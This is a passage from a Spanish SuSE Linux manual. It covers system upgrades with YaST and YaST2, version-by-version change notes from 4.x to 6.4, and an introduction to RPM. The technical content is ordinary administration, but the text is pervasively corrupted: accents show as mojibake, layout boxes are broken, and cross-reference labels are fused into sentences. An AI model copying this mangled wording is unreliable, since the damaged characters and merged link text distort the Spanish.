o en modo grßfico con YaST2 . Actualizando una versi≤n anterior a SuSE
Linux 6.0 hay que usar siempre YaST , procediendo como se explica en el
apartado 15.1.3. Se pueden actualizar todas las versiones 6.x con YaST2 .
15.1.2 Actualizaci≤n con YaST2
DespuΘs de los preparativos del apartado 15.1.1 en la pßgina anterior, ar-
ranque del modo en que se explica en el capφtulo sobre la instalaci≤n 2.1 en
la pßgina 17íDirecto al Θxito!section.2.1.
________________________________________________________________________________________________________*
*________||
| La posibilidad de utilizar YaST2 se limita a la actualizaci≤n de las *
* ||||
| versiones 6.x de SuSE Linux. Para actualizar las versiones anteriores *
* |||
| *
* |||
| (p. ej. SuSE Linux 5.3) hay que usar YaST1 ; ver el apartado 15.1.3. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Una vez que se encuentre en el apartado 2.1.7 en la pßgina 21┐Instalaci≤n
nueva o Actualizaci≤n?subsection.2.1.7, seleccione la opci≤n `Actualizar
sistema'.
15.1.3 Actualizaci≤n con YaST1
Actualizaci≤n del sistema base
Al actualizar el sistema base se cambian los componentes centrales del sis-
tema (p. ej. las bibliotecas), por lo tanto esto no se puede llevar a cabo desde
el sistema Linux en ejecuci≤n.
Por esta raz≤n se tendrß que arrancar el entorno de actualizaci≤n ~ normal-
mente con el disquete de arranque incluido en el paquete, o introduciendo
manual en el prompt del kernel como se explica en el apartado 2.2.1 en la
pßgina 30La situaci≤n principalsubsection.2.2.1.
Bßsicamente hay que seguir los pasos que se exponen a continuaci≤n:
1. Inmediatamente despuΘs del arranque del sistema desde el disquete de
arranque o desde el CD, se inicia automßticamente linuxrc .
2. linuxrc pide escoger en la opci≤n `Configuraci≤n' del men· princi-
pal, el idioma, el color de la pantalla y el teclado (siempre se confirma
pulsando `Ok').
394
_____________________________________________________________________________15.1.__Actualizaci≤n_de_SuSE______Linux________*
*______________________
3. Con la opci≤n `M≤dulos del Kernel (Drivers)' se cargan los
drivers necesarios para el hardware (el procedimiento se detalla en la
descripci≤n de linuxrc , en la pßgina 418Carga de m≤dulosHfootnote.70).
4. Ahora se puede elegir el medio fuente de la instalaci≤n pasando por
las opciones `Iniciar la instalaci≤n / Sistema' y `Comen-
zar la instalaci≤n' (ver en la pßgina 420Iniciar la instalaci≤n /
SistemaHfootnote.70).
5. linuxrc carga el entorno de instalaci≤n proporcionado por YaST , tal como
se ha elegido.
En el primer men· de YaST , seleccionar la opci≤n `Actualizar sistema';
con esto YaST intenta reconocer la partici≤n raφz y ofrece ~ si las hay ~ varias
posibilidades de las cuales se debe seleccionar la partici≤n raφz, tal como se
ha anotado anteriormente (ejemplo: /dev/sda3). YaST lee la /etc/fstab
''antigua'' que se encuentra sobre esta partici≤n, y monta los sistemas de
ficheros anotados en ella; seleccionar ahora `Continuar'.
DespuΘs de volver con |E_____|scal men· principal, se selecciona `Actualizar
sistema' (ver apartado 3.2 en la pßgina 83El men· principal de YaST
section.3.2). YaST analiza el sistema actual y muestra el resultado de este
anßlisis.
A continuaci≤n se actualizan los componentes centrales del sistema y YaST
genera automßticamente respaldos de los ficheros modificados a partir de la
·ltima instalaci≤n; ademßs, los ficheros de configuraci≤n antiguos se guardan
con la extensi≤n pfad.rpmorig o .rpmsave (ver el apartado 15.3.1 en la
pßgina 405Instalar, actualizar y desinstalar paquetessubsection.15.3.1). To-
do el proceso de instalaci≤n y actualizaci≤n se protocoliza en el fichero
/var/adm/inst-log/installation-*.
Actualizaci≤n del resto de programas
Una vez instalado el sistema base, se entra al modo especial de actualizaci≤n
de YaST que permite actualizar el resto del sistema seg·n necesidades y/o
preferencias.
YaST genera dos listas de paquetes a actualizar. En la primera se encuen-
tran los paquetes en los que YaST reconoce automßticamente el sentido y
la posibilidad de actualizaci≤n, ya que el paquete nuevo tiene un n·mero de
versi≤n mßs alto o, cuando ha cambiado un paquete con el cual tiene alguna
dependencia. La segunda lista muestra los paquetes sobre los que no hay to-
tal seguridad de si deben ser actualizados o no, debido p. ej. a que el paquete
antiguo no especifica un n·mero de versi≤n.
En estas dos listas se pueden seleccionar a gusto propio los paquetes que se
desean actualizar. La actualizaci≤n no solo reemplaza los paquetes selec-
cionados por los de la nueva versi≤n sino que se respaldan tambiΘn todos los
ficheros que han sido modificados desde la ·ltima instalaci≤n.
DespuΘs de haber seleccionado los paquetes, el proceso se termina como una
instalaci≤n desde cero; entre otras cosas, se tendrß que seleccionar tambiΘn
un kernel nuevo.
*
* 395
15. Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| Si estß acostumbrado a iniciar Linux con loadlin , es preciso copiar el nuevo *
* ||||
|| kernel ~ y si es el caso ~ el initrd en el directorio de loadlin de la *
* ||||
| partici≤n DOS! *
* ||||
|_______________________________________________________________________________________________________*
*________|||_
Para que el sistema no entre en el modo de operaci≤n normal despuΘs de la ac-
tualizaci≤n (ver ''runlevel'' estßndar en el apartado 17.2 en la pßgina 432Los
Runlevelsection.17.2), se introduce en el prompt de LILO el siguiente co-
mando:
NO_AUTO_SETUP=true
De este modo se inicia YaST inmediatamente despuΘs de entrar al sistema
y se terminan las operaciones que comenzaron con la actualizaci≤n. El uso
del parßmetro NO_AUTO_SETUP=true es especialmente razonable cuando se
presentan problemas durante el inicio del sistema. Estos pueden aparecer
cuando algunas partes esenciales del sistema se cargan a travΘs de una tar-
jeta SCSI del tipo PCMCIA. Para remediarlos y finalizar correctamente la
configuraci≤n, se deben ejecutar los siguientes pasos:
1. Al iniciar el sistema, indicar en el prompt:
NO_AUTO_SETUP=true
2. Entrar al sistema como superusuario `root' e iniciar una vez yast --nomenu
para que se lleven a cabo las configuraciones necesarias.
3. Iniciar como `root' el script /lib/YaST/bootsetup.conf y esperar a
que el proceso finalice.
El resultado final es el mismo que se obtendrφa si YaST se hubiese ejecutado
automßticamente.
El usuario de Linux experimentado podrφa prescindir de entrar al nivel de
ejecuci≤n estßndar e ir directamente al modo de usuario ·nico (ingl. Single-
User-Mode) (Runlevel 1), indicando single en el prompt de LILO .
15.1.4 Actualizaci≤n de paquetes especφficos
Independientemente de la actualizaci≤n del sistema base, se pueden actualizar
paquetes especφficos en cualquier momento.
Esto se realiza en YaST (ver el apartado 3.5.3 en la pßgina 97Cambiar / Crear
configuraci≤nsubsection.3.5.3), entrando al sub-men· `Escoger/Instalar
paquetes'. Se puede seleccionar cualquier paquete, pero si selecciona uno
que es esencial para el sistema, YaST advierte sobre la necesidad de actu-
alizar tal paquete en el modo especial de actualizaci≤n. Hay muchos paquetes
que usan p. ej. librerφas compartidas (ingl. shared libraries), que pueden es-
tar en uso en el momento de la actualizaci≤n y por tanto se podrφan producir
errores.
15.2 De versi≤n a versi≤n
Los siguientes apartados mencionan los detalles que se han cambiado de una
versi≤n de SuSE Linux a otra, como p. ej. el cambio de lugar de un fichero de
396
___________________________________________________________________________________________15.2.__De_versi≤n_a_versi≤n______*
*______________________
configuraci≤n o la diferencia de comportamiento de un programa archicono-
cido. La lista es incompleta ya que solo se mencionan los aspectos impor-
tantes para el trabajo diario de los usuarios o del administrador de sistema.
En la descripci≤n de las diferencias y particularidades hay muchas referen-
cias al banco de datos de soporte (SDB) del paquete sdb_en, serie doc (ver
apartado 1.4.1 en la pßgina 8Banco de datos de soportesubsection.1.4.1).
Los problemas y cambios de ·ltima hora de cada versi≤n se publican en
nuestro servidor web; vΘase los links que se indican mßs abajo. Se puede
actualizar determinados paquetes importantes vφa http://www.suse.de/
en/support/download/updates/.
15.2.1 De versi≤n 4.x a 5.0
Problemas y particularidades:
http://sdb.suse.de/sdb/en/html/maddin_bugs5.html.
o Cambio de la gesti≤n de paquetes de TGZ a RPM (ver apartado 15.3 en la
pßgina 405RPM ~ El gestor de paquetessection.15.3).
o Nueva Bash (ver en la SDB los artφculos http://sdb.suse.de/sdb/
en/html/maddin_bash2.html y http://sdb.suse.de/sdb/en/
html/maddin_inputrc.html).
15.2.2 De versi≤n 5.0 a 5.1
Problemas y particularidades:
http://sdb.suse.de/sdb/en/html/maddin_bugs51.html.
o LILO , primer cambio: los ''loaders'' any_b.b y any_d.b son ahora obso-
letos (ver en la pßgina 128El contenido del fichero lilo.conf Hfootnote.20).
o LILO , segundo cambio: si se presentan problemas con la controladora
SCSI Adaptec 2940, no se debe usar la opci≤n linear en el fichero
/etc/lilo.conf (ver en la pßgina 128Otras opciones de configuraci≤n
(Selecci≤n)subsection.4.4.2).
o Software ''opcional'', como p. ej. KDE o Applixware , se instala
ahora en el directorio /opt (ver el apartado 2.8 en la pßgina 71De-
cidirse. . . section.2.8)
o La descripci≤n de los paquetes se ha omitido por falta de espacio en el
libro y ahora se encuentra en el primer CD en el directorio /docu; las
versiones en alemßn son pkg_German.dvi y pkg_German.ps y en inglΘs
pkg_English.dvi y pkg_English.ps.
o TambiΘn se ha suprimido el anexo con las requerimientos de sistema, pero
como alternativa se tiene a la mano el banco de datos de componentes
(ingl. Components Database, CDB). Se encuentra en lφnea bajo http:
//cdb.suse.de/.
o Los ficheros m4 de Sendmail se encuentran ahora en el directorio /usr/
share/sendmail.
o El formato de las fuentes es ''Source RPM'' (ver en el banco de datos
de soporte http://sdb.suse.de/sdb/en/html/ke_source-rpm.
html).
*
* 397
15. Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
*_______________________________________@
15.2.3 De versi≤n 5.1 a 5.2
Problemas y particularidades:
http://sdb.suse.de/sdb/en/html/maddin_bugs52.html.
o YaST : A la serie ALL se accede desde `Selecci≤n series' con |F___|_4
(= `Ordenar') (ver el apartado 3.5.3 en la pßgina 97Cambiar / Crear
configuraci≤nsubsection.3.5.3).
o Los servidores XSuSE forman ahora parte de las fuentes oficiales de
XFree86, por lo que se pueden usar otra vez los servidores estßndar de
la serie x, a excepci≤n de XSuSE_Elsa_GLoria (paquete xglint), he-
cho para tarjetas de vφdeo a base de Glint o Permedia.
o Por razones de seguridad los servidores X ya no se instalan en modo suid
root (o sea, sin la s-bit). Por lo tanto, se debe iniciar el sistema X Window
con el Xwrapper a travΘs del comando startx o con un gestor de pantalla
como xdm o kdm .
o wuftpd se establece ahora en /etc/inetd.conf como el servidor ftp es-
tßndar (ver en el SDB http://sdb.suse.de/sdb/en/html/grimmer_
ftpd.html).
o Las opciones de ps ya no comienzan con `-' por lo tanto es necesario
adaptar los scripts a ello (ver en el SDB http://sdb.suse.de/sdb/
en/html/maddin_ps52.html).
o SuSEconfig (ver el apartado 17.5 en la pßgina 435/etc/rc.config y
SuSEconfig section.17.5) acepta algunas opciones adicionales que aceler-
an el trabajo.
15.2.4 De versi≤n 5.2 a 5.3
Problemas y particularidades:
http://sdb.suse.de/sdb/en/html/bugs53.html.
o La primera instalaci≤n de SuSE Linux tal como la actualizaci≤n son aho-
ra secuenciales; si se prefiere el procedimiento ''antiguo'' con sus m·lti-
ples posibilidades de intervenci≤n, se debe seleccionar el modo exper-
to en la entrada a YaST (ver figura 2.6 en la pßgina 35Arrancar YaST
subsection.2.2.4).
o Ademßs del disquete de arranque se ofrece en el CD la imagen del dis-
quete modules provisto de m≤dulos adicionales para el uso de hardware
''ex≤tico''; (ver apartado 16.3 en la pßgina 417linuxrcsection.16.3).
o Ahora todos los servidores X se encuentran ordenados en la serie xsrv
(X-server) en lugar de la serie x.
o Para tarjetas de vφdeo nuevas existen los servidores X XFCom_3DLabs (pa-
quete x3dlabs; antes XSuSE_Elsa_GLoria, paquete xglint) y XFCom_
Cyrix (paquete xcyrix).
o Los usuarios que deseen usar programas de comunicaci≤n como mini-
com , seyon , etc., deben estar de alta en el grupo `uucp'; ver http:
//sdb.suse.de/sdb/en/html/ke_terminal-prog.html.
o La versi≤n actual de Emacs es la 20.x, con la que se deben usar los
ficheros de inicio del directorio /etc/skel (ver http://sdb.suse.de/
sdb/en/html/ke_emacs-update.html).
398
___________________________________________________________________________________________15.2.__De_versi≤n_a_versi≤n______*
*______________________
o Las SGML-Parsertools del paquete jade_dsl se encuentran ahora en un
sub-paquete sp propio.
o PostgreSQL (paquete postgres) se forma de varios sub-paquetes (ingl.
subpackages): El motor del banco de datos, la inicializaci≤n y las inter-
faces.
o Las Manpages del paquete allman se han distribuido entre varios sub-
paquetes (ver http://sdb.suse.de/sdb/en/html/ke_lpdmanxx.
html).
15.2.5 De versi≤n 5.3 a 6.0
Problemas y particularidades:
http://sdb.suse.de/sdb/en/html/bugs60.html.
o Tal como estß previsto en las fuentes del kernel, el kernel con el que se
arranca la mßquina se instala en el directorio /boot. Se debe tener cuida-
do en anotar correctamente las ramas en el fichero /etc/lilo.conf; de
hecho YaST lo propone de este modo, no obstante, si se prefiere contin-
uar con el kernel antiguo (/vmlinuz), se debe intervenir en el proceso de
actualizaci≤n y configurar LILO con este fin.
o La biblioteca del sistema es ahora glibc (tambiΘn llamada libc6). Al
actualizar los programas suministrados con SuSE Linux no se tienen por
quΘ presentar problemas; despuΘs de la actualizaci≤n se deben compilar
los programas propios nuevamente y enlazarlos con la biblioteca glibc .
Si esto no fuera posible ~ p. ej. porque no se dispone del c≤digo fuente
de los programas ~, existe como soluci≤n a este problema la posibilidad
de instalar el paquete shlibs5 (libc5), con lo cual se pueden seguir
ejecutando los programas ''antiguos''.
o Las partes de /etc/rc.config que corresponden a programas con
amplias posibilidades de configuraci≤n, se han trasladado a diferentes
ficheros en el directorio /etc/rc.config.d.
o cron es capaz de ejecutar ''scripts'' en los directorios /etc/cron.
hourly, /etc/cron.daily, /etc/cron.weekly y /etc/cron.
monthly; la tabla crontab del sistema ya no se llama /root/bin/
cron.daily sino que se denomina /etc/cron.daily/aaa_base; ver
tambiΘn en la pßgina 403De 6.3 a 6.4subsection.15.2.9.
o SuSE Linux incluye la versi≤n actual de teTeX que se instala ahora en
/var, conforme al estßndar de jerarquφa del sistema de ficheros (ingl.
Filesystem Hierarchy Standard (FHS)), por lo tanto, este directorio ocupa
unos 15 MB adicionales . ~
A su vez, teTeX se ha dividido en varios sub-paquetes, con lo cual es
posible que falte alguno despuΘs de la actualizaci≤n. En este caso se re-
comienda comprobar si todos los paquetes de la serie tex estßn realmente
instalados.
o Las extensiones deALTEX, el paquete colortbl y el paquete hyperref,
se incluyen ahora en teTeX y por tanto han dejado de existir por separado.
o C News se eliminarß de la distribuci≤n, pero durante un perφodo transito-
rio el paquete cnews seguirß existiendo en el CD 1 bajo unsorted/. Con
*
* 399
15. Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
*_______________________________________@
el tiempo quizßs sea necesario usar el paquete inn o el paquete leafn-
ode.
o Los ficheros de configuraci≤n de UUCP se encuentran en el directorio
/etc/uucp.
o Los estilos ''DocBook -Stylesheets'' se encuentran ahora en un paquete
propio, paquete docbkdsl, serie sgm.
15.2.6 De versi≤n 6.0 a 6.1
Problemas y particularidades:
http://sdb.suse.de/sdb/en/html/bugs61.html.
o El paquete SuSE Linux ya no incluye el CD-ROM con el ''Live-
Filesystem'', no obstante, se puede conseguir por separado abonando
una cuota de protecci≤n (valor simb≤lico). Para mayor informaci≤n sobre
el uso de este CD, consultar el apartado 3.7.4 en la pßgina 110Configurar
sistema Livesubsection.3.7.4.
o Para la primera instalaci≤n hay un disquete adicional con m≤dulos que
funcionan como drivers para lectores de CD-ROM especiales, unidades
en el puerto paralelo, tarjetas PCMCIA, etc. En el momento en que
se necesitan, linuxrc pide que se introduzca el disquete-modules. (ver
apartado 2.2.3 en la pßgina 31La base: linuxrc subsection.2.2.3).
o En el caso del kernel 2.2.x, la ''interfaz estßndar'' para imprimir a travΘs
del puerto paralelo es /dev/lp0 (ver apartado 12.1 en la pßgina 325Los
puertos paralelossection.12.1).
15.2.7 De versi≤n 6.1 a 6.2
Problemas y particularidades:
http://sdb.suse.de/sdb/en/html/bugs62.html.
o rpm (ver tambiΘn el apartado 15.3 en la pßgina 405RPM ~ El gestor de
paquetessection.15.3) existe ahora en versi≤n 3.0. El formato del banco de
datos RPM se ha modificado, por lo tanto es preciso realizar la conversi≤n
en el momento de instalar rpm . Efectuando una actualizaci≤n normal (del
sistema base) con YaST , la conversi≤n se llevarß a cabo en el momento
mßs indicado (el proceso se ejecuta en segundo plano).
o La librerφa de sistema glibc existe ahora en versi≤n 2.1. En lo posible
se suministran componentes que permiten seguir usando los programas
basados en glibc -2.0. Esto tiene sus limitaciones cuando se trata de ac-
ceder a ciertos sφmbolos internos, por lo que se recomienda compilar de
nuevo todos los programas propios.
o El nscd (ingl. Name Service Cache Daemon) forma parte de la glibc ; se
configura mediante el fichero /etc/nscd.conf (ver pßgina del manual
de nscd (man 8 nscd )).
o Con la glibc -2.1 se efect·a el cambio a los dispositivos sogUnix98
PTY, por lo que tambiΘn se debe montar el sistema de ficheros devpts .
Esto se puede conseguir p. ej. con la siguiente entrada en /etc/fstab:
none /dev/pts devpts gid=5,mode=620 0 0
Ver tambiΘn la documentaci≤n en /usr/src/linux/Documentation/
Changes junto con las fuentes del kernel.
400
___________________________________________________________________________________________15.2.__De_versi≤n_a_versi≤n______*
*______________________
o PAM (ingl. Pluggable Authentication Modules): aparte de /etc/login.
defs ahora existen tambiΘn /etc/securetty, /etc/security/
limits.conf y /etc/security/pam_env.conf.; ver en la pßgi-
na 114Algo sobre PAMsubsection.3.7.7.
o La configuraci≤n de idioma se efect·a con variables en /etc/rc.
config; ver apartado 76 en la pßgina 437Configuraciones bßsicasHfootnote.76
y http://sdb.suse.de/sdb/en/html/ml_locale_implementation.
html.
http://sdb.suse.de/sdb/de/html/ml_locale_implementation.
html. Si no le agradan los mensajes en alemßn, lo puede indicar directa-
mente, p. ej. en .bashrc:
export LANG=C
o En el caso de varios paquetes, los componentes necesarios para el desar-
rollo del software (librerφas, ficheros ''header'' y ''include'') han pasado
a ser paquetes separados; se trata de un procedimiento que ya se llev≤ a
cabo en versiones anteriores. Estos paquetes solo serßn necesarios para
desarrollos propios; p. ej. compilar paquetes de GNOME mßs recientes.
Los paquetes de desarrollo se identifican normalmente con un suplemento
en el nombre como: dev o d ; algunos ejemplos son: paquete xformsd,
paquete glibndev, paquete gtkndev, paquete imlibdev, paquete gn-
libsd, etc.
15.2.8 De 6.2 a 6.3
Problemas y particularidades:
http://sdb.suse.de/sdb/en/html/bugs63.html.
o Existen diferentes kernels, optimizados para distintas necesidades. Todos
usan la ''initrd'' (ingl. Initial Ramdisk) (disco virtual de memoria). Es
un aspecto a tener en cuenta cuando se compila un kernel propio; ver el
apartado 16.2.5 en la pßgina 415Posibles problemas ~ Kernel compila-
do a medidasubsection.16.2.5 y http://sdb.suse.de/sdb/en/html/
adrian_6.3_boot.html.
o El fichero de configuraci≤n de los m≤dulos de kernel se llama /etc/
modules.conf (antes: /etc/conf.modules).
o Aparte del ''Userspace''-NFS-Daemon (paquete nfsserv) existe ahora
tambiΘn el daemon NFS a nivel de kernel (paquete knfsd). Este daemon
tiene menos prestaciones, pero en cambio es capaz de bloquear ficheros;
una caracterφstica que necesita p. ej.StarOffice . Hay que configurar en-
tonces USE_KERNEL_NFSD o NFS_SERVER del fichero /etc/rc.config
e instalar el paquete que corresponda.
o Las + Manpages se encuentran en /usr/share/man, asφ como lo pide
el FHS (ingl. Filesystem Hierarchy Standard) (estßndar de jerarquφa del
sistema de ficheros); ver el apartado 16.1 en la pßgina 411Filesystem
Hierarchy Standard (FHS) y Linux Standard Base (LSB)section.16.1.
o Los siguientes paquetes ya no existen en la distribuci≤n:
~ paquete gnuhtml: Antiguo; los documentos de informaci≤n actuales
se pueden obtener en formato HTML a travΘs del sistema de ayuda
*
* 401
15. Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
*_______________________________________@
de SuSE (ver apartado 16.4 en la pßgina 422El sistema de ayuda para
SuSE Linux section.16.4).
~ paquete glimpse: Una versi≤n antigua se encuentra en el directorio
/unsorted del CD 1. Por razones de derecho de autor no se puede
distribuir la nueva versi≤n junto con SuSE Linux.
o Los paquetes nuevos de Tcl/Tk tienen nuevas denominaciones. Tcl/Tk 8.0
es la versi≤n estßndar.
o El soporte de OSS (ingl. Open Sound System) para mßquinas multiproce-
sador se compone de: paquete opso y paquete opsod_up tal como pa-
quete opso_smp y paquete opsodsmp; ver http://sdb.suse.de/sdb/
es/html/oss-smp.html.
o La configuraci≤n de sendmail se encuentra en /etc/rc.config.
d/sendmail.rc.config en lugar de /etc/rc.config; ver http:
//sdb.suse.de/sdb/en/html/mneden_6.3_sendmail.html.
o Por razones de seguridad el daemon WU-FTPD (paquete wuftpd, serie
n) ya no se incluye en la instalaci≤n estßndar.
o Desde la versi≤n 1.9.2 de leafnode el directorio de los ficheros de con-
figuraci≤n se ha modificado. En lugar de estar en /usr/lib/leafnode
ahora se encuentran en /etc/leafnode.
En caso de haber modificado el fichero de configuraci≤n, Θste se encuentra
como copia de seguridad en /usr/lib/leafnode/config.rpmsave.
Las modificaciones hechas se deben pasar manualmente al nuevo fichero
de configuraci≤n.
Atenci≤n: En caso de actualizar desde una versi≤n antigua (anterior
a 1.9.3), ejecute primero el script /usr/doc/packages/leafnode/
update.sh:
tierra: # cd /usr/doc/packages/leafnode
tierra:/usr/doc/packages/leafnode # ./update.sh \
/var/spool/news/ /etc/leafnode /var/lock/news/fetchnews.lck
Al ejecutar el script, el fichero groupinfo se organiza de nuevo (en el
orden de groupinfo deja de importar la diferencia entre may·sculas y
min·sculas). Si la reorganizaci≤n del fichero no funciona, hay un respaldo
que se encuentra en /var/spool/news/leaf.node/groupinfo.old.
DespuΘs de una ejecuci≤n exitosa del script, se puede borrar este fichero
(.old).
Advertencia: Desde la versi≤n 1.9.3 el programa /usr/sbin/fetch se
llama /usr/sbin/fetchnews . Por lo tanto hay que modificar los ''Cron-
jobs'' u otros scripts (p. ej. /etc/ppp/ip-up) al respecto.
En cuanto a la instalaci≤n de leafnode consulte el apartado 6.9 en la
pßgina 207News: Las noticias mßs actuales de USENETsection.6.9.
o Para aumentar el nivel de seguridad, se ejecuta MySQL con la UID
`mysql' y la GID `daemon'.
o Fortify se encuentra en /opt/fortify; despuΘs de su aplicaci≤n se
puede desinstalar.
402
___________________________________________________________________________________________15.2.__De_versi≤n_a_versi≤n______*
*______________________
15.2.9 De 6.3 a 6.4
Problemas y particularidades:
http://sdb.suse.de/sdb/en/html/bugs64.html.
o Kernel: Ya no se necesitan paquete kernmod y paquete kernmods. Los
m≤dulos de kernel adecuadamente optimizados se instalan directamente
junto con el kernel elegido (ver 3.7.2 en la pßgina 105`Elegir el
kernel (de arranque)'subsection.3.7.2) (ver 3.7.2 en la pßgina 105
`Elegir el kernel (de arranque)'subsection.3.7.2). Los fichero
de configuraci≤n del kernel instalado se encuentran en /boot con los
nombres vmlinuz.config-pentium (ísi el kernel es para Pentium!),
vmlinuz.autoconf.h y vmlinuz.version.h. Si lo desea, YaST copia
estos ficheros en el ßrbol de directorios de las fuentes del kernel.
o Los ''Login-Shells'' vßlidos estßn anotados en /etc/shells; ver pßgi-
na del manual de shells (man 5 shells ). Un usuario que tiene
/bin/true asignado, s≤lo puede entrar al sistema vφa el sistema X Win-
dowy no recibe ninguna shell. Para evitar cualquier login, se asigna
/bin/false como ''Login-Shell''.
o paquete aaa_base: Las tareas de mantenimiento diarias se han dis-
tribuido sobre varios scripts. En /etc/cron.daily existen ahora aparte
de aaa_base los scripts backup_rpmdb, clean_catman, clean_core,
clean_instlog, clean_tmp, do_mandb, rotate_logs y updatedb ~
estos scripts se reconocen por su ''prefijo'' aaa_base_. Ademßs aaa_
base ''ejecuta'' cron.daily.local, que es el fichero para ampliaciones
personales. Respecto al sistema Cron vΘase el apartado 16.6.1 en la pßgi-
na 429paquete cronsubsection.16.6.1.
o Se instala una versi≤n nueva de tar (tar ), que se comporta diferente al
sobreescribir ficheros existentes. Para volver al comportamiento antiguo
se puede usar la opci≤n --overwrite .
o Casi todos los programas en paquete nkita y paquete nkitb han cambi-
ado de versi≤n y traceroute se encuentra ahora en el paquete nkitb. Al-
gunos programas ya estßn preparados para IPv6, por lo que es importante
configurar DNS correctamente, sino es posible que haga falta esperar el
DNS-Timeout para la consulta de IPv6.
o El paquete samba: Con la actualizaci≤n a la versi≤n 2.0.6 se cambia la
sintaxis del comando smbmount . El script /sbin/mount.smbfs tiene
que ejecutar el smbmount . A su vez es el comando mount que llama a
este script; por ejemplo:
tierra: # mount -t smbfs -o username=uname,password=passwd \
//smbserv/share /destination
o paquete postfix: Se a±adieron posibilidades de configuraci≤n; las
variables de inicio se encuentran ahora en /etc/rc.config.d/
postfix.rc.config; vΘase tambiΘn el apartado 17.5 en la pßgi-
na 435/etc/rc.config y SuSEconfig section.17.5.
o Ya no existe la versi≤n 1.x del servidor proxy paquete squid, ya que la
versi≤n 2.x puede ser considerada como estable, por lo que se recomienda
pasarse a Θsta. Durante la actualizaci≤n, paquete squid no se reemplaza
automßticamente por paquete squid2; se deben guardar los ficheros de
*
* 403
15. Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
*_______________________________________@
configuraci≤n antiguos y desinstalar el paquete squid para instalar pos-
teriormente el paquete squid2. Ahora se puede comenzar a personalizar
los ficheros de configuraci≤n nuevos ~ hay informaci≤n suplementaria en
http://squid.nlanr.net.
o El cliente DHCP se encuentra en paquete dhcpcd; para casos especiales
suministramos a·n el paquete dhclient.
o Por razones de seguridad, el daemon FTP (in.ftpd ) ya no acepta au-
tomßticamente el FTP-an≤nimo. Para que lo acepte se debe quitar el sφm-
bolo de comentario `#' por delante de la lφnea:
auth sufficient /lib/security/pam_ftp.so
en el fichero /etc/pam.d/ftpd.
o Modificar contrase±a con PAM (ingl. Pluggable Authentication Mod-
ules): pam_unix puede modificar tambiΘn las contrase±as╤IS y sabe
tratar md5 -almuadillas como contrase±a. Cuidado: Es mejor consultar
el apartado 3.7.7 en la pßgina 114Algo sobre PAMsubsection.3.7.7.
Ademßs existe ahora un m≤dulo nuevo (pam_pwcheck -Module), que se
encarga del control de contrase±as nuevas. Hace falta modificar la entrada
antigua:
password required /lib/security/pam_unix.so #strict=false
hacia:
password required /lib/security/pam_pwcheck.so \
nullok #use_cracklib
password required /lib/security/pam_unix.so \
nullok use_first_pass use_authtok
Cada comando debe estar en una sola lφnea; si no, debe aparecer un \
(''barra inversa'') al final de la lφnea.
Solo se requiere esta intervenci≤n cuando rpm no puede modificar por sφ
mismo los ficheros de configuraci≤n, en el caso en que el administrador de
sistema haya realizado modificaciones individuales. Lo mismo es vßlido
para todos los ficheros de configuraci≤n de PAM en el directorio /etc/
pam.d.
o Aparte las pßginas de manual + Manual-Pages (ver apartado 15.2.8 en
la pßgina 401De 6.2 a 6.3subsection.15.2.8), las pßginas info tambiΘn se
encuentran en /usr/share.
o makewhatis (paquete makewhat) usa ahora la utilidad manpath para
encontrar las pßginas de manual, (ingl. Manual-Pages). Ya no se debe
definir la variable de entorno MANPATH en los ficheros tipo rc.
o ldconfig s≤lo se ejecuta cuando un directorio /lib es mßs reciente
que /etc/ld.so.cache; seg·n el caso se inicia como proceso de fon-
do. Es posible forzar la ejecuci≤n de ldconfig poniendo la variable
de entorno run_ldconfig en true . Otra posibilidad es la de indicar
"run_ldconfig=true" directamente el prompt de arranque.
o La versi≤n actual de paquete ncurses es ahora 5.0. A·n suministramos la
versi≤n 4.2 de la librerφa compartida, asφ que los programas precompilados
deben seguir funcionando.
404
______________________________________________________________________________15.3.__RPM_~_El_gestor_de_paquetes____________*
*______________________
o El paquete apache ha sido dividido. Se han de instalar tambiΘn los subpa-
quetes del tipo mod_* para realizar ampliaciones especφficas. Hay docu-
mentaci≤n sobre PHP en el paquete phpdoc. Los ficheros de butaca (log)
se encuentran en /var/log/httpd, para mejorar el orden.
o La estructura de Roxen es la siguiente: El paquete roxen, que no permite
criptografφa y el paquete roxenssl con el soporte de criptografφa. La
ventaja es que ya no hace falta administrar el paquete roxenint por
separado.
o Ya no existe el paquete changes. Se puede obtener la informaci≤n corre-
spondiente directamente con rpm :
tux@tierra: > rpm -q --changelog <paquete>
15.3 RPM ~ El gestor de paquetes
Con la versi≤n 5.0 de SuSE Linux, comenz≤ el uso del RPM (rpm ) (ingl. RPM
Package Manager), por lo que se facilita la gesti≤n de los paquetes para todos
los implicados: los usuarios, los administradores de sistema y ~ finalmente
~ los que generamos los paquetes. El amplio banco de datos de RPM ofrece
una gran cantidad de informaci≤n sobre el software instalado.
La funci≤n rpm puede actuar de tres maneras distintas:
o generar paquetes listos para instalar desde las fuentes vφrgenes (ingl. pris-
tine sources)
o instalaci≤n, actualizaci≤n y desinstalaci≤n completa de los paquetes
o direccionar consultas al banco de datos RPM o a determinados archivos
RPM.
Los archivos RPM, listos para ser instalados, tienen un formato binario espe-
cial que incluye los ficheros con los programas e informaci≤n adicional usada
por rpm . Esta informaci≤n adicional se usa para configurar el software del
paquete o para la documentaci≤n en el banco de datos RPM. Estos archivos
tienen la extensi≤n .rpm.
15.3.1 Instalar, actualizar y desinstalar paquetes.
Por lo general la instalaci≤n de un archivo RPM es muy sencilla:
tierra: # rpm -i <paquete>.rpm
Este comando estßndar solamente instala un paquete si se cumplen todas las
''dependencias'', ya que de lo contrario podrφan aparecer ''conflictos''; los
mensajes de error de rpm indican los paquetes que faltan para cumplir con las
dependencias. El banco de datos se ocupa de evitar conflictos: normalmente
un fichero debe pertenecer a un solo paquete; tambiΘn hay diferentes opciones
que permiten pasar por alto esta regla, pero se debe estar muy seguro de ello
ya que se puede perder la posibilidad de actualizar el paquete.
Una opci≤n muy interesante para la actualizaci≤n de un paquete es -U o
--upgrade . La versi≤n anterior del mismo paquete se borra y la nueva se
instala mientras que rpm trata los ficheros de configuraci≤n con cuidado,
apoyßndose en la siguiente estrategia:
*
* 405
